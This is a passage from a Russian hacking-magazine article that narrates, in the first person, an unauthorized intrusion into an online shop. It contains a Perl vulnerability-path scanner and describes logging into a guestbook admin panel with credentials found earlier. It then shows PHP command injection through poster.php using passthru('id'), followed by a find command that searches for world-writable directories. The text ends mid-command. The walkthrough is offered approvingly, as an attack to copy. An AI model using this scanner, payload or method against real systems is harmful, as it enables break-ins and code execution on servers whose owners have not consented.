Налет на магазин l1s(dalnet, #ru24) Хакер, номер #088, стр. 088-064-2 use IO::Socket; use strict; if(@ARGV < 2) { usage(); } my ($hostname, $file, $port) = @ARGV; $port or $port = 80; $hostname=~s/^http:\/\///; $hostname=~s/\/$//; open(FILE,"<$file") or die "File $file not found!\n"; print "[~] Scan started ($hostname:$port).\n"; while(my $bug=<FILE>) { chomp $bug; $bug = "/".$bug unless ($bug =~ /^\//); print "$hostname$bug\n" if scan($bug); } close(FILE); print "[~] Scan finished.\n"; sub scan { my $string=shift; my $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $hostname, PeerPort => $port ); unless ($remote) { print "can't connect\n"; exit 0; } $remote->autoflush(1); my $http = qq{HEAD $string HTTP/1.1 HOST: $hostname }; print $remote $http; while(<$remote>) { return "ok" if(/HTTP.+?200\sOK/) or return undef; } } Ничего особенного - простенький алгоритм небольшого размера. Сканер должен быть с тремя параметрами. Первый - это атакуемый хост, второй - файл с уязвимостями и третий - это порт, по которому будет проходить сканирование. Я законнектился на шелл, слил туда сканер и с чувством самоудовлетворения запустил его через несколько минут. Сканер остановил свою работу. Результатом сканирования стали несколько левых папок и еще один приметный каталог со знакомым мне названием. Я перешел по найденной папке и попал на главную страницу какой-то гостевой книги. Копирайты не дали мне нужной инфы, поэтому я решил все делать ручками. В гесте были несколько отзывов о сайте, левые базары о новых поступивших товаров и т.д. Для меня это не имело никакого значения. Я ненароком подставил в конец ссылки /admin и быстро очутился в панели авторизации для администратора. "Это уже хорошо", - подумал я, - и попробовал подставить найденный логин и пароль в форму для админа. Я не поверил своим глазам!!! Логин и пасс действительно подошли! [о, sheet double-bug, good] Теперь мне было необходимо найти зацепочный вариант для продвижения взлома. Я немного побегал по админке, и вот что мне удалось узнать. Геста имела свой аплоад-скрипт картинок, но после проверки на фильтры я понял, что с ним нет никакого смысла возиться. Так же была возможной опция редактирования шаблонов. Я попытался отредактировать один из них, подставив в конец простенькую конструкцию кода <? passthru('id');?>, но, естественно, не получил ожидаемого результата. Тогда я обратился к скрипту poster.php, который отвечал за добавление новых сообщений в гостевой, и попытался добавить новый мессадж, с тем же содержанием (<? passthru('id'); ?>). И что ты думаешь? Да, скрипт действительно был немного дырявым, охотно исполняющим вражеский php-код. На сервере крутилась freebsd 5.4, от которой я сразу отвернулся. По команде: find / -type d \( -perm -2 -o -perm -20 \) -exec ls -ldg {} \; |